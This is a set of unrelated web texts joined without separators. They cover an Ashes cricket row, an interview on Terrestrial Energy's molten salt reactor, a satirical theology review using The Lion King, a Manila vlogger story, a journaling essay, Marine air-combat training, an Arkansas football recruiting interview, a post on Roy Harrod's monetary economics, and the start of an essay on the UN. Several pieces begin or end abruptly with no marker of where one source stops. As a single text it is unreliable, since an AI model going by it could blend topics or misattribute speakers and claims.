On Thursday, Root said England would use the laughter of Australia captain Steve Smith and batsman Cameron Bancroft in their news conference after the first Test as extra motivation for the second.
Bancroft was explaining being 'headbutted' by Jonny Bairstow in a Perth bar at the start of England's tour.
On Friday, Smith denied he was mocking England.
"I was laughing at Cameron and the way he delivered his version of what happened," he said.
"I'm happy to clarify that with Joe. There's no problem there."
The Bairstow incident came to light after comments towards the England wicketkeeper were heard on a stump microphone.
It raised questions over what is acceptable for players to say to each other, with Root claiming that "their idea of the line and our line are slightly different things".
Smith, though, said the game at the Gabba was "played in a good spirit".
"There's a line there that we're not to cross," he added. "It's about playing good, hard, aggressive cricket and we did that well at the Gabba."
The captain also dismissed claims made by England fast bowler James Anderson in his Daily Telegraph column.
"A bully waits until they are in the ascendancy to pounce on people. That is what Australian teams do," said Anderson.
Smith responded: "I read the article. It's interesting coming from Jimmy, because he is one the biggest sledgers in the game.
"Back in 2010-11 when I first started and wasn't any good, he got stuck into me then."
England XI for second Test Who should be in England's team for the second Ashes Test? Choose your XI and share it with friends. First 1 Second 2 Third 3 Fourth 4 Fifth 5 Sixth 6 Seventh 7 Eighth 8 Ninth 9 Tenth 10 Eleventh 11 Confirm Selection
“Our reactor will be able to compete with fossil fuel combustion”
Gijs Zwartsenberg Blocked Unblock Follow Following Oct 8, 2016
On September 16, 2016, Simon Irish, CEO of Terrestrial Energy, visited the Netherlands to speak at the Euro Chlor 2016 General Assembly in Amsterdam. Terrestrial Energy (TE) is the Canadian molten salt reactor startup company that, according to many, holds the best cards to show the world’s first commercial molten salt reactor. Later that day, Mr. Irish gave his presentation at a ‘Meet and Greet’ at Delft, organized by the Thorium MSR Foundation. Preceding this presentation for an audience interested in MSR development, ThMSR had the opportunity to speak to Irish — who recently appeared in Myriam Tonelotto’s movie ‘Thorium, the hidden face of nuclear’.
GZ (Gijs Zwartsenberg) Could you give us an update of where Terrestrial Energy stands in the development of its IMSR — the Integral Molten Salt Reactor?
SI (Simon Irish) 2016 is turning out to be an exciting year for TE. We achieved a number of important milestones recently, such as the financing of 22,5 million dollars from investors. Another development which is notable is that the IMSR development and deployment received grant support from the Canadian Sustainable Development Technology Canada program (SDTC). We are the first fission nuclear company that has received a grant from that program, which is squarely pointed at sustainable technology.
More recently, this very week, we were pleased to announce that the US siting project to build, license and deploy the IMSR, has been invited by the Department of Energy (DOE) to submit part II of a loan guarantee application for financing between 800 million and 1.8 billion US dollars.
Third, we continue to engage our peer nuclear engineers and executives in the North American nuclear power industry, and to present to them the merits of our approach. We have, in April this year, formed what we refer to as our “corporate industrial advisory board”, a forum for us to seek input from current users of nuclear technology as we progress with IMSR engineering. Through this forum they can, early in the engineering program, give us the input that will help us deliver a reactor that is as useful as we can make it. The board represents many of the nuclear power utilities in North America. Southern Company, the second largest nuclear power utility in the US, and Ontario Power generation, the largest in Canada, joined earlier in the year. Two weeks ago Duke Energy, the largest power utility in North America, joined in.
Simon Irish Presenting at thmsr.nl’s Meet&Greet, Delft, Netherlands, September 16, 2016
GZ So you’re also discussing several site options for possible demo reactors, including US sites.
SI Yes. There are a number of site opportunities in Canada that we are pursuing, but I cannot discuss these at the moment. There is a similar program for IMSR deployment in the US. One siting that I can talk about was announced in our press release earlier this week: the Idaho National Lab as a possible site. INL has been the site for reactor development in the US for decades. They’re obviously a natural candidate to become the site of the first commercial IMSR reactor, it has many merits.
Licensing process started in Canada and US
GZ You have started the Canadian licensing process, and have also started the US licensing process. Is there a synergy between the two?
SI Our plan is to license, construct and build the first IMSR in Canada. But we do not have to wait until we turn on our first reactor plant in Canada before we cross borders. As we reach key milestones in engineering, licensing and deployment in Canada, we envisage starting the corresponding components of siting and licensing projects in other countries. We are also interested in the UK Government’s position on SMR’s and look forward to hearing more of its path forward for advanced reactors towards the end of the year. This morning here in Amsterdam we have attended the Euro Chlor meeting, and again, perhaps there is a possibility at a future point for an IMSR siting project in Europe. That does not need to be a power production site, it could be an IMSR dedicated to delivering industrial heat. And in the case of Euro Chlor that would be in the context of chlorine related production.
GZ In the US there have been quite some developments recently*) concerning the regulatory framework that surrounds the development of advanced nuclear reactors, is there a new wind blowing in the US regarding nuclear innovation?
*) like this one
SI Absolutely! All in the advanced reactor community are monitoring developments in Washington very closely. Recent legislative developments in the US are encouraging for those seeking to develop and deploy advanced reactors in the US.
GZ The communis opinio on the internet is that where it comes to develop and build MSR’s, the regulatory framework is the big obstacle, rather than the technology. This message has been repeated over and over again. What is your take on this?
SI Regulation is about developing a reactor’s Safety Case to the satisfaction of the Nuclear Regulatory Authority. We think we have a strong Safety Case and we are engaged with the Canadian regulator in phase I of its Vendor Design Review, the first step in the Canada regulatory process. And we’re looking forward to presenting our reactors Safety Case to other regulators, and engage with them as early as we can.
First IMSR expected in the 2020’s
GZ Another big question above the MSR market is ‘when can we see the first working one’.
SI We have gone on public record to say that we expect our first nuclear IMSR to be operating in the 2020s. We see an opportunity today to deploy an advanced reactor system by the end of the next decade.
GZ Could you, for a lay person, explain the confidence you express with that statement?
SI It’s all about technological readiness. With the Integral Molten Salt Reactor, we are seeking to commercialize a system that has already been demonstrated and operated in a national lab. What we are seeking to do is to take that last step, the engineering and licensing step. We’re not looking to use the MSR approach to create a reactor system that requires a new fuel cycle, new moderators, new approaches. What we are seeking to do, is to take — to the greatest extend we possibly can — the existing body of knowledge, associate it with MSRs, and use that body of knowledge to support the engineering of our first commercial IMSR power plant. But remember, two IMSR’s have been build and have been operating already, this is not a blue sky technology project. That is an important point. We think that is the most appropriate approach if you want to bring the molten salt reactor to market next decade.
GZ And that is why you insist to use Low Enriched Uranium (LEU) and not thorium.
SI You must make pragmatic business choices to support your deployment time frame and to ensure that the project can be financed — technology development risks are important to avoid if at all possible. One choice is to use as many generally used industry practices as one possibly can. We have done this. LEU is a generally accepted, well understood nuclear fuel. Another fuel would add additional complexity to the project.
Take for example the fuel supply chain. LEU can be provided by an existing industry today. Therefore it makes sense to design your reactor to incorporate that existing supply chain. If you choose to use higher enrichment levels, you would have to create a supply chain for that fuel, and surely that adds complexity to your project. We believe that other fuels are very interesting, but not for the first deployment.
GZ And if you use the same fuel, what would you say are the main advantages of using an MSR rather than an LWR.
SI The main advantage is cost. The problem of today’s nuclear is cost. Nuclear cannot compete against natural gas. The global energy market is based on cost competition. Energy sources that are making growing contributions to the global energy market are benefitting from the investments they made in innovation 15–20 years ago. I include natural gas in that. They have done extremely well, due to innovation. On the renewable side, there have been some very impressive learning curve effects in the deployment of utility scale solar PV, those cost curves are impressive. No energy industry can advance without investments in innovation to maintain a cost competitive position.
Terrestrial Energy’s business case
GZ I’m sure you have been making business cases and cost calculations. What do you think, what is your best guess if it comes to kWh-prices?
SI Our broad claim is that our IMSR reactor will be able to compete with fossil fuel combustion for the provision of heat and power to the industrial and power sectors. If you can compete on cost, compete commercially, you have harnessed one of the most powerful forces in private markets and that’s the profit motive. The industry will want to substitute and will want to adopt your technology because it reduces their cost and improves their profit position.
So this is an environmental solution which harnesses the profit motive. It doesn’t rely on national or international mandates to reduce the emission of greenhouse gasses. IMSR is a hugely scalable and dispatchable industrial heat source that promises to compete with fossil fuels on price. Remember that the industrial sector, a third of the GHG problem, is currently virtually untouched by renewables, here natural gas and coal still reign supreme, there is a good reason for that.
This LLNL diagram shows that ‘renewables’ are virtually irrelevant as an energy source for industrial heat, 24,5% of used energy in the US. According to Irish, the US Department of Energy (DOE) uses this graph to support the following two statements:
· Any serious discussion of energy systems for the future must begin with an understanding of the current energy systems, and the problems it creates, and how it can be transformed into a better system.
· Anyone who believes a massive build-up of renewable energy can clean up the energy sector lacks an understanding of the energy infrastructure of the U.S.
GZ So you think the IMSR can outcompete natural gas and coal.
SI Absolutely. We have been looking at our systems ability to compete against fossil fuel energy sources in different industrial heat applications. We’re working with the national lab on that analysis, they’re expert on the type of techno economic analysis that you need to see how a nuclear reactor system can fit into industrial heat processes. The IMSR has a very diverse set of possibilities.
And the results are very encouraging.
At the moment we’re looking at our competitiveness in relation to North American natural gas prices, and as you know they are lower than in Europe. So our reference is North American coal and natural gas. Of course, if you are operating your power plant on top of the Marcellus Shale, you have access to some of the cheapest energy in the world. So we have to be a bit careful about regional variations. But generalized and on a national and global basis, we believe that the IMSR is competitive.
And when you start incorporating a carbon tax, even a very moderate carbon tax, then the case becomes very, very solid — a $50 per tonne CO2 tax adds $2.7 per MBtu to natural gas.*)
*) This roughly equals $80,7 million per GWyt.
The problem with theology, Anthony says, is its incorrigible bossiness. It can’t stop telling nature what it ought to be like, and insofar as it engages with scientific accounts of nature it does so only to demonstrate that they have failed to wash behind their ears, or to hold them up, squirming with embarrassment, as a shining example for everybody else. Theology knows that cleanliness is next to godliness, that good girls wouldn’t ever; theology will take over your country because the poor savages need somebodyto tell them what to do, and it will drag you up kicking and screaming into some semblance of a civilised human being, just as long as it doesn’t murder you first.
To theology’s plantation house, Anthony returns, the ruffian, the prodigal son. He doesn’t want to join the party, though, he doesn’t want to partake of the fatted calf. Instead, he wants us to come with him; so he he takes us by the hand, and he leads us out to the pigsty, and he invites us to sit down beside him in the mud, and he says: stop your incessant talking for a minute, won’t you? Look. Listen. There is life here and you know nothing about it.
The thing about nature is that it isn’t natural. Or, rather, the problem is that that everything is natural. The two-headed kitten is natural. The prize-winning carrot is natural. Virtue is natural, and vice is natural. Marriage is natural but so is promiscuity, so is divorce, so is polyamory, so is Grindr. Even Dolly Parton is natural. What we notice when we pay attention to the world, when we let ecology be our guide, is that there isn’t any one way that nature ought to be, there isn’t any stable state. The circle of life is always shifting around, always changing its location; sometimes it looks less like a circle and more like a line of flight; sometimes it is a Möbius strip. Aquinas thought that the reason we couldn’t find the garden of Eden was because it was hidden behind a mountain somewhere; what he didn’t realise is that it’s actually a city now.
Theology is worried that if it steps down from Pride Rock to play in the forest with the warthogs of ecology and the meerkats of philosophy, the hyenas will take over. What it doesn’t notice is that the other animals are perfectly capable of finding some new order between themselves; what it doesn’t notice is that the hyenas are voiced by black people: the Lion King is racist, you guys, and everything would likely be better if we stopped trying to eat everyone.
Instead of the Neoplatonic circle of life which is always, inevitably, a hierarchy, Anthony invites us to pay attention to the complex, ever-changing web of life. Hakuna matata: or, as he puts it, ‘the more joyful affects a person experiences and fosters the more ethical they become and the only way to increase joy is through useful encounters or between mutually joyful affects. The more we understand about the world the more we understand how our bodies are compatible with others’ (p206). This is not the bland hedonism of the teenage lion on a gap year, however: the ethics of non-theology begin not with Simba but with Pumba; not with orthodox theology’s petulant flouncing in the face of a challenge to the authority it considers rightfully its own but with the heretic expelled from the community which cannot bear the stench of his (natural) flesh. Non-theology begins in the pigsty. Only Pumba, you will remember, was able to view the stars apart from the narcissistic mythologising which can see in nature only affirmation of our divine right to rule. Only Pumba could see, like Anthony, the possibility of grace in the onset of gout. For non-theology, freedom is not delimited by the dark shadows at the edge of empire, the limits of our ability to conquer the world; it belongs instead in our kinship with others, the ties of friendship which extend beyond the limits of our own kind such that the lion may lie down with the meerkat, according to the Franciscan affirmation of the brother- and sisterhood of all things. For Anthony, the Lion King should have ended not with the restoration of kingly rule but as in the Ismaili epistle The Case of the Animals versus Man Before the King of the Jinn, which ‘details a protest made by the animals against humanity and their violence against them because of their belief “that the animals were their runaway and rebellious slaves”’ (p221). The Warthog Non-theologian ends with Simba on trial.
Published 10:47 AM, January 10, 2017
MANILA, Philippines – Is it possible to rely solely on the kindness of strangers for food, water, and shelter? That's what vlogger Nas Daily set out to discover in the streets of Manila on Monday, January 9.
The answer: It's possible. As Nas showed and recounted on his social media accounts, he was given food, water, and even a place to stay all for free, because of the generosity of the people he met.
He explained the mechanics of the experiment as his video started: "I gave up my valuables, my drone, and my entire wallet, and checked out of the hotel to hit the streets. It's a bad idea. I cannot take buses or taxis. I cannot eat out. But what I can do is rely on people's generosity."
For water, a security guard noticed that Nas looked Middle Eastern. "I am also a Muslim. That's why when people are very thirsty, it's much better to give," he said.
For food, Nas said he lost his wallet and left, but a guy ran after him and bought him food, saying, "I'm just sharing my blessings."
The man who bought Nas food, he said, had been unemployed until that day. He now earns $8 a day and the meal he bought Nas was $1.30.
For shelter, Nas approached 7 people saying he was stranded before another guy took him in – he bought Nas food and offered Nas his bed.
"He wants zero things in return, but I insisted on giving back, so he said that you should like his friend’s new non-profit Facebook page: Filipino Educators of Tomorrow," said Nas in his video description.
In the description of his video on Facebook, Nas also acknowledged that people may have been more willing to help him out because he's not a local.
"I do think that in GENERAL it’s much easier for foreigners to get help," he said. "If I were a Filipino this would be harder. That’s just a fact. I don’t know how to reconcile that or don’t know what to think of it. But I take comfort in knowing that in all 3 cases above, the desire to help was genuine and was above race, gender, or social status."
Nas, who is from Israel and Palestine, releases one minute videos every day on his Facebook page. In a video explaining what his page is about, Nas said he quit his job in 2015 after realizing he was 32% done with his life. He has since made a video every day to make each one count.
According to his Instagram, he arrived in Manila on January 5. – Rappler.com
Every morning, I travel back in time. I go back to the exact same day the year before, and the year before that. And the year before that. I live it like I was there again, in that time and space and circumstance.
I relive the emotions, the hopes, the anxieties and the dreams. I examine the minutia of my thoughts as they play out in the complex arena of what we call real life.
I can time travel because I keep a journal – a page of thoughts and emotions as I start each and every day. What surprises me is how similar my thoughts are over the years, and how much energy I waste on the trivia of things that only matter in that moment. A minor altercation at work. Whether the subway will be running on time. Gaining a pound from eating too much ice cream. Fretting about the repetitive issues of life that never really change and in the long run don’t mean a thing.
How much time do we waste every day on needless worry and anxiety? How much of the thinking power of our amazing brains do we spend on the detritus of life that is ultimately meaningless?
Anyone can time travel. Just write your world down. I don’t try to manipulate my thoughts. I just say how I feel, the things I am thinking. So make a start and soon you will be traveling back to the week before, the month before, the year before. And then to a decade ago.
Eventually, something even more incredible happened to me. l was able to travel into the future.
With the realization that so many of my thoughts were wasted, I could begin to change the way I was actually thinking. I could stop obsessing over life’s noise and begin to focus my thoughts on things that make a difference to my quality of life.
In the end, it means nothing that someone bumped into us on the street. It’s unimportant that the weather is grim. It’s irrelevant that our Facebook posts were ignored. The energy of thought should not be wasted on any of this nonsense. So what should we be thinking about? The things that do matter. Health, friendship, loved ones, freedom. A dream.
VMFT-401’s primary mission is to train military pilots in air-to-air combat utilizing the F-5N Tiger II tactical fighter and attack aircraft. According to Maj. Nicholas R. Wineman, the maintenance officer for VMA-223, the air combat instructors with the training squadron are some of the best in the Marine Corps with the average pilot having logged more than 2,500 flight hours and most are graduates of "Top Gun" or the Marine Corps' Weapons and Tactics Instructor course.
“As Harrier pilots, air-to-air combat is not a traditional mission for us, however, it’s a developing mission,” said Wineman.
Harriers are normally used for air-to-surface support missions. Although the Harrier is scheduled to be replaced by the F-35B, the Harrier pilots are furthering their training with the aircraft to maintain mission readiness until the F-35B replaces it.
One of the reasons for the nontraditional training is to familiarize the pilots with the new AIM-120, an advanced medium range air-to-air missile, or AMRAAM, capable of all-weather, day-and-night missions.
“The AMRAAM gives us a greater capability in the air-to-air environment,” said Wineman. “Because of this, we have refocused the air-to-air syllabus for us and for the greater Harrier community.”
Within two hours of the visiting instructors landing on the station, after making a cross country flight, they were in the air training the pilots with VMA-223.
“They are the most professional instructors I’ve ever met. They came to every brief prepared and have a ton of knowledge,” said Wineman.
Wineman said another reason for the squadron focusing on air-to-air combat is to match the capabilities of the MV-22 Osprey.
“The Osprey has the capabilities to do deep inserts into a hostile territory and we are training to be able to protect them,” said Wineman. “We have to be ready for anything and ready to provide air-to-air support.”
The training included multiple exercises between the squadrons off the coast of North Carolina. The pilots conducted combat scenarios by placing two Harriers up against one Tiger or vice versa.
The pilots took turns performing in the offensive and defensive positions. Developing their skills, the pilots started in what is called a neutral starting point with each aircraft facing each other and trying to gain the upper hand on their enemy.
It requires an air combat tactics instructor or an air combat instructor to conduct air-to-air combat training. There are only two instructors on the East Coast, which makes it difficult to get this training for the pilots. Because the training squadron brought more instructors and five of their F-5Ns, VMA-223 completed what would normally take three or four months to achieve in less than two weeks.
Wineman said his Marines and the visiting instructors performed phenomenally during the training cycle, attributing their success to teamwork. The squadrons cancelled zero sorties during the training and every flight took off and landed on time because of the exceptional work done by the maintenance Marines from both squadrons.
Wineman added that the instructors from VMFT-401 are an invaluable asset for his Marines to train with, and he hopes to continue his unit’s relationship with the training squadron. The squadron is planning to return next year.
“For the younger pilots to have the opportunity to train with these instructors is an honor,” said Wineman. “This is an opportunity and an asset that these pilots have never received. We are looking forward to working with the instructors in the future.”
The Arkansas Razorbacks’ coaching staff is coming off an amazing 2015 in-state recruiting haul where only one top player offered from the Natural State left for another Division-I program, receiver K.J. Hill (Ohio State). The top talent within the state has yet again attracted college recruiters from all over the nation with players committed to Boise State, Louisiana Tech, Texas Tech, Illinois, and Arizona just to name a few. The one in-state offer that has yet to commit is 5-star Hope High School defensive end McTelvin Agim.
Agim is a beast listed at 6’3”, 273 pounds, with 4.62 forty-yard dash speed. Over the last two years he has put up video game statistics finishing 2013 with 77 tackles, 32 tackles for a loss, 16 sacks, and one fumble recovery earning Arkansas Democrat-Gazette Sophomore Defensive Player of the Year honors. His 2014 stat line was similar, even with teams running away from him, racking up 72 tackles, 22 tackles for a loss, and four fumble recoveries earning All-State honors again.
Another in-state talent that has drawn national recruiting attention is Smackover High School do-everything two-way star Jordan Jones. Jones (6’2”, 180) is a true athlete lining up at cornerback and safety on defense and at wide receiver and in the backfield at quarterback in the Wildcat offense. The 4.4 speedster had 25 receptions, 687 yards, and 10 touchdowns as a sophomore and 31 receptions, 779 yards, and nine scores a year ago.
Jones was one of the first Class of 2016 players to commit to the Hogs making his pledge on June 19, 2014. The early commitment has kept most D-I teams away but both Alabama and Ole Miss have recently started courting Jones again.
For Agim, offers for the southeast Arkansas talent have come in from across the nation with Alabama, Auburn, Clemson, Houston, LSU, Mississippi State, Notre Dame, Oklahoma, Stanford, TCU, Texas, Louisiana-Monroe, Missouri, and Arkansas State hoping to land this difference maker. Agim has set an announcement date of Sept. 5 naming his Top 4 schools as Arkansas, Baylor, Texas A&M, and Ole Miss.
In a truly exclusive Recruiting News Guru interview, Jordan Jones and I sat down with McTelvin after a recent scrimmage to discuss his upcoming senior season and his recruiting process. I also flipped the switch on Jordan a time or two to get his thoughts on the recruiting process as a Razorback commitment.
Interview
McTelvin, the Bobcats just finished a scrimmage, how does Hope look going into the 2015 season?
“We’re looking pretty good. We just got done with a scrimmage, we still have some things to fix but we are way ahead of where we were at this time last year.”
What do you think will be the strength of this year’s Hope team?
“The defense most definitely. Our defense is stepping up. Our offense will score but our defense will be the main focus point.”
What did you do in the offseason to prepare for your senior year?
“I did CrossFit this summer. I was trying to get my endurance up and get faster and stronger too.”
What were some of the gains you made in the offseason working out? Did you see a jump in your bench press, 40, or shuttle run?
“I’ve seen it in my endurance. I’ve been able to go longer than others on the team. Others were gassed and I was still good. I was able to do my sprints faster than others. I’m able to get my wind back faster.”
What are your goals for the 2015 football season?
“All-State, state champs, and all A’s in class. Things like that.”
McTelvin, where all have you unofficially visited in the offseason?
“This offseason I went to Baylor, Arkansas, Ole Miss, and Texas A&M – I don’t think I saw anybody else. Yeah, the only schools I visited are in my Top 4.”
Jordan: Being that you’re from Arkansas do you feel pressure on you to go to Arkansas? I know for me, because I’m from Arkansas, everyone was expecting me to go there.
“Being in Arkansas, but I am from Texas, you’re going to get pressure. The Hogs have some of the craziest fans. They will stay in the stands until the clock hits all zeroes, even if it is a blowout. They are great fans. I do get pressure from everywhere, especially on social media. I have family that plays for Baylor and one plays for Texas A&M. I feel pressure to go there all the time. This is a decision you have to make for yourself. Nobody can do that for you.”
Great question. McTelvin, when you sit down and go over your pros and cons list, what are some of the things you look at for a given school or program?
“I did that. I did my pros and cons. Some things that excite me about the schools are who will help me get to the next level and help me be a dominating player. Which school will help me get exposure while giving me a good education at the same time?
What type of feedback have you received from these colleges? What are the different colleges telling you will make you a dominating player at the D-I level?
“Really it’s my mindset. A lot of the game is mental. My mindset is that I’m going to be the best. I’m not going to let anybody out work me. That’s what coaches like. My mind is above my age. My age does not deter my mindset. When I was in ninth grade I sat down and said this is what I want to do. I’ve put my mindset to being the best. Coaches really like that because it’s different. That’s one thing a lot of coaches tell me. My first step too.”
Jordan: When you think about your game, what will that one college get with you once you are on campus?
“They’re going to get a player that is dominating on the field. Football is really all that I have. Everybody is going to end up dying one day. With football I feel like there’s God waiting. He’s given me this. I give it my all. I’m not going to half-step. I’m not going to give 95 percent. I’m going to go full throttle every chance I get. You never know when you will take your last snap on the field.”
McTelvin, you picked Sept. 5 as your announcement date, was there a special reason why you picked that day?
“My family reunion, also I want to help the school recruit that I am going to commit to. My family reunion is that weekend. I wanted to do it around my family. I’m big on family. I feel like if everything goes wrong my family will be there. If I break my leg and everything is over my family will still be there. They’re stuck with me. I’m really big on family and I want to share this with them.”
When you make your announcement are you going to do something simple, have four hats on a table, or read from a prepared statement? Have you figured that part of the announcement out yet?
“I’m thinking about doing four hats or maybe just one. I have not decided yet. I’m doing it at my grandmother’s house in the front yard. That’s where it all started. She was a real big part of helping me become the person that I am. She was a big part of my life when I was young. Without her influence I don’t know where I would be right now.”
McTelvin, does one of the schools in your Top 4 already know you’re a commitment? Are you a silent commitment already or when you commit will this be a surprise to everyone?
“I’ve talked to all of the schools. I told one of them I’m feeling them more than the others. I’m just waiting to announce to everyone.”
Jordan: McTelvin, what’s been the hardest part of your recruiting process?
“Believing in somebody. This is potentially a multi-million dollar decision. It’s hard to put your trust in someone that you do not know and did not grow up with. I’d say that is the hardest part, putting your trust in somebody. You’re taking a leap of faith, that’s hard.”
Guys, great question and answer. Jordan, for you what was the hardest part of your recruiting process?
“My recruiting process was not that hard. Just staying committed when other schools are promising this and promising that. Just staying with it and not listening to all the doubters saying “I don’t know why you’re going there they don’t throw ball.” That was pretty much the hard part hearing the negative side.”
I have a question for both of you. What is one thing you would change about the recruiting process?
McTelvin: “I can’t really name something. I visited every college I wanted to visit. I feel good with my decision that I’m making. I went to the camps for all four schools. Over the last five weeks I’ve visited the campus and spent the whole weekend with them. It was basically like an official. I really wish I could have had an official but because I am graduating early I won’t be able to do that with football, the ACT, and everything like that.”
Jordan, what about for you?
“I really don’t know because Fayetteville, University of Arkansas, was the only school that really pushed hard for me. I had an offer from Tulsa but Arkansas came to me and they told me what I needed to do grade wise. I don’t think I’d change anything about the process. It’s just the process we have to live with.”
McTelvin, without trying to give anything away, is there a difference between the school you are going to commit to and school No. 2 on your list? What is that slight difference between the schools?
“Business. I’m the type of guy that gives 110 percent. I also want the coaches and players at the school to give the same amount of effort. If I get hurt I don’t want it to feel like it’s for nothing. I want to be where everyone has the same mentality as me. I feel like I’m trying to get ready for the next level so I want to go to a school that can get me ready for that opportunity.”
When you watch college or NFL games is there a player or two you like to watch to pickup different aspects of the game?
“In college, I was watching Jadeveon Clowney (South Carolina), his sophomore season. That’s how I really try to model myself after. I’m a big fan of his. DeMarcus Ware (Denver Broncos), with the Cowboys, that’s my favorite team. Those are my top two players.”
What do you want to major in when you go to college?
“Kinesiology, study of the body. That’s something that’s interesting to me. I want to be a coach when I get out.”
What is your favorite part of playing football?
“It is a stress release. If something happens in life it can mess you up all day, being able to play is a stress reliever. I really like high school football and being able to play football with the guys you grew up with that grew up in the same town with you. When you get to college there are different personalities and it’s a different world. In high school you came from the same area. Friday nights are something different. You’ll never get that again. The team chemistry is something special.”
Backtracking a little bit but, you open up the season against Nashville right?
“We open on Sept. 4. I’d say, naw I can’t say it because I feel like every team will be a challenge and every team we face I’ll have to go out hard when we play them.”
Hey guys, thanks for taking time to do the interview. This was a lot of fun.
McTelvin: “Yeah, it was cool. Thanks for calling me and doing this.”
Jordan: “You’re welcome.”
Good luck with your decision. We’ll be waiting eagerly to see where you’re going.
Photo credit: twitter.com; Agim at Arkansas signing autographs.
Photo credit: twitter.com; Agim at Baylor with Tre Davis and Davion Hall.
Photo credit: scout.com; No. 33 McTelvin Agim.
Harrod should probably be credited, for example, with the first truly institutional description of endogenous money theory — a theory that the Bank of England has now come to endorse. In his book he discusses how the British banks of the time lend to one another in the open market — this was done by scrambling for ‘call money’ when they found that their books didn’t balance. Call money is so called because you literally pick up the phone and call a variety of lenders to try and raise the money needed to meet the reserve requirements in place at any given moment in time.
Harrod was well aware that “loans create deposits” — indeed he uses the phrase quite a few times in the book — and that banks then seek to raise the money to meet the reserve requirements after, not before, the loans are made. If they cannot fill the gap in the market for call money they turn to the Bank of England. Here I will quote from Harrod at length to show just how ahead of his time he was.
If, as a result of these operations, including of a calling in of call money, they [i.e. the banks] find themselves unable to balance their books, they can resort to the Bank of England, and rediscount bills with it. Here the Bank of England operates in its role as lender of last resort. In normal conditions the discount market has to borrow from the Bank of England at Bank Rate [i.e. the British equivalent to the Fed Funds rate]. This is above the market rate on bills, and thus during the period of such borrowing the Discount Houses [i.e. effectively, the banks] find themselves making a loss. They will have lent money on bills at one rate and have had to borrow from the Bank of England at a higher rate, commonly called the penal rate. It is accordingly highly expedient for them to get out of debt to the Bank of England as quickly as possible. They must therefore firm up their own rates, so as to discourage borrowers and encourage lenders. The Bank Rate thus has a powerful effect on open market interest rates. (pp51-52)
Clearly the Bank of England sets the Bank Rate and allows the quantity of money to float. The Bank Rate and the lending rate gravitate toward each other because when banks extend sufficient loans that they are forced to borrow at the penal rate from the central bank they will quickly be incentivised to raise their own rates to squeeze off lending. Harrod is quite clear that this is how the process of money creation works. He continues,
When the market borrows from the Bank, this has the effect of increasing the money supply (deposits and notes) in the country, so long as this borrowing is outstanding. (p52)**
Harrod goes on to note that this system is different to the one in the US at the time (i.e. the post-war era). In the US the Federal Reserve was far less concerned with penalising banks. Although the mechanics of the monetary system were very similar, the institutional structure of the British system (in the post-war era) was far more geared toward penalising banks that borrowed from the central bank.
This was because of the peculiar situation in Britain at this time. In the post-war years, the British were very self-conscious about their balance of payments. Any time the balance of payments began to deteriorate the British authorities would try to bring the economy to a halt. This became known as the economic policy of ‘stop-start’ and it greatly hampered the ability of Keynesian policymakers to keep economic growth high at the time. Thus, the institutional structure of the Bank of England came to reflect the need for a central bank that could quickly ‘squeeze’ the market for funds when the balance of payments started to deteriorate.
The US, on the other hand, were rather cavalier about their balance of payments position in this era. After all, the Bretton Woods system at the time was based on the dollar and they issued the dollar. Indeed, many countries were more than happy when the US ran balance of payments deficits as this meant an outflow of dollars which developing countries could use to expand economic activity.
After the demise of the Bretton Woods system and the rise of Thatcher, the British began to care less and less about their balance of payments position. This is because they came to find — rather accidentally, it should be added — that capital inflows into the City of London were usually (but not always) sufficient to maintain the value of the sterling. And so, the era of stop-start economic policy came to an end. Since then the structure of the Bank of England has come to more so resemble that of the Federal Reserve in the post-war era; right up to their recent endorsement of endogenous money theory this year.
Harrod is also quick to note that the Bank of England stands behind the market for government debt at all times and effectively sets the interest rate on this debt through its operations. This is as true today as it was in Harrod’s time but is not spoken about very often. Harrod’s presentation is top-class in this regard in that he highlights that the rules put in place for bidding in the primary market for government debt operated seamlessly with central bank operations to set the effective interest rate on government debt. He writes,
Discount Houses are under an implicit obligation to take up Treasury Bills at issue each Friday. If the rise in interest rates has not achieved an attraction of outside funds into the market, nor deterred borrowing [by the government], the Discount Houses may be in a difficulty. The Government cannot trim down at short notice the amount of Treasury Bills it asks the market to take up. In such circumstances the Discount Houses will be unable to balance their books without resort to the Bank of England. If they go to the front door, they will lose money [i.e. they will be penalised, as we saw above]. They may have to put up with this for a week or two. But if the market remains inelastic and the Discount Houses have to go and borrow at the Bank week after week, the situation becomes intolerable. The Bank may seek to ease it by allowing borrowing at the ‘back door’. To the extent that it does this, or indeed to the extent that there is borrowing at all, the purpose of the original squeeze will be frustrated. The Bank will have reduced the money supply by Open Market operations and have had to replenish it again by ‘back door’ lending. (p56)
What does this mean? Well, basically that the central bank is under an implicit obligation to stabilise the market for government debt. If the government borrows and this puts upward pressure on interest rates, this does not lead to ‘crowding out’, as the textbooks say. Rather it leads to the central bank stepping in to put a ceiling on interest rates through ‘back door’ lending.
This also means that government borrowing and spending can trump any attempt by the central bank to control the level of economic activity. If the central bank tries to squeeze interest rates to curtail economic activity but the government insists on running deficits, the central bank will be under the obligation to undo their tight monetary policies by effectively providing the funds to the government.
Anyway, Harrod’s book is a fascinating read and, although long out of print, is far better than the textbooks used in monetary economics courses today. After picking it up I am convinced that Harrod should be recognised as one of the eminent monetary economists of the post-war era.
** It should be noted that in the book Harrod does seem to think, as the Bank of England continues to maintain today, that through such interest rate manipulations the central bank can “control the money supply”. This is probably false, but that I have discussed that particular topic elsewhere.
This question reaches beyond immediate crises and the management of people in the organisation. It raises a dilemma about what, if any, moral purpose the UN can pursue in a changing global order. It might seem strange that this needs debating: most people associate the UN with a broad range of do-goodery, such as fighting diseases and feeding hungry children. More abstractly, the principles of international law and human rights that the UN symbolises can stir up remarkable amounts of public passion, as shown by the debates over the invasion of Iraq (and more recent military options in Syria).
But the UN is not a cohesive body with a unifying sense of moral purpose. It is a surprisingly loose network of offices and agencies dealing with everything from tsunami warnings to ‘outer space affairs’. Its most visible components are its humanitarian workers, its economic development programmes, and its peacekeeping operations, which deploy 100,000 soldiers and police officers around the world to keep order in weak states such as Haiti. Even these are not guided by a coherent mission: humanitarian officials desperately try to stay out of politics, for example, and dislike operating alongside armed peacekeepers.
If there’s one thing that binds all these groups together, it is the UN Charter, agreed in San Francisco at the close of the Second World War. The Charter’s main goal was to establish a framework for diplomacy between the main victors of the war against Hitler — principally the US, the Soviet Union and the badly weakened British Empire. It also promised to ‘reaffirm faith in fundamental human rights’, but this was something of a secondary concern, as a number of recent histories have made clear. Mark Mazower, professor of history at Columbia University, notes in Governing the World (2012) that diplomats from smaller countries feared the UN ‘represented a step backward, and that the Great Powers were seeking, under the guise of internationalism, to create a new world directorate’.
